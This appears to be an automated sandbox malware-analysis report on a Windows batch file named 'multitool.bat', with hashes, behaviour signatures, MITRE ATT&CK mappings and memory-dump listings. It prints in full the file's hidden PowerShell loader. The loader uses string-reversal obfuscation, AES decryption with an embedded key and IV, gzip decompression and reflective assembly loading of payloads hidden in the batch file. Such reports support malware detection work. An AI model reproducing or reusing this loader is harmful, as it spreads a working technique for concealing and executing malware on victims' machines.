8f6e309171ab8b968764573f9a0252d70b793d36d6fccf1d7eb3fce7763cb74a

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18/11/2024, 00:12

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General

Target

multitool.bat
Size

298KB
MD5

18c5a8b94eb5c19cdd965fc9d4686a02
SHA1

ee67546afe31bcf09dc426955af03594cee62c0a
SHA256

8f6e309171ab8b968764573f9a0252d70b793d36d6fccf1d7eb3fce7763cb74a
SHA512

8b8e0bb6b8b7f9ff1ff75ead07f999b7bbba7fe787d2b731685cd539c76fef1dcf2461fc6be2be49660e352de051003266bb7f664d4d41bf8a2dff120543f1ec
SSDEEP

6144:mxdIea9oQDm/ParmLX7WrxDShuILbormGyOVYKBOc97:mxQNDm3ar6XqrxQHsr/xHBT

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2256	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 2256	1716	cmd.exe	29
PID 1716 wrote to memory of 2256	1716	cmd.exe	29
PID 1716 wrote to memory of 2256	1716	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\multitool.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KBJDaMkDdd/LxYfLWK+RbSkMlTUv9paU/GK4TKxeeEY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1ld09wShPLv4usAwXhH2Uw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DMVZH=New-Object System.IO.MemoryStream(,$param_var); $yMzsP=New-Object System.IO.MemoryStream; $XKOrm=New-Object System.IO.Compression.GZipStream($DMVZH, [IO.Compression.CompressionMode]::Decompress); $XKOrm.CopyTo($yMzsP); $XKOrm.Dispose(); $DMVZH.Dispose(); $yMzsP.Dispose(); $yMzsP.ToArray();}function execute_function($param_var,$param2_var){ $hlsRs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZDZIA=$hlsRs.EntryPoint; $ZDZIA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\multitool.bat';$djbrx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\multitool.bat').Split([Environment]::NewLine);foreach ($UOgVo in $djbrx) { if ($UOgVo.StartsWith(':: ')) { $IGItJ=$UOgVo.Substring(3); break; }}$payloads_var=[string[]]$IGItJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2256-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

Filesize
4KB

Download
memory/2256-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2256-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2256-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2256-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2256-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2256-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2256-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2256-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download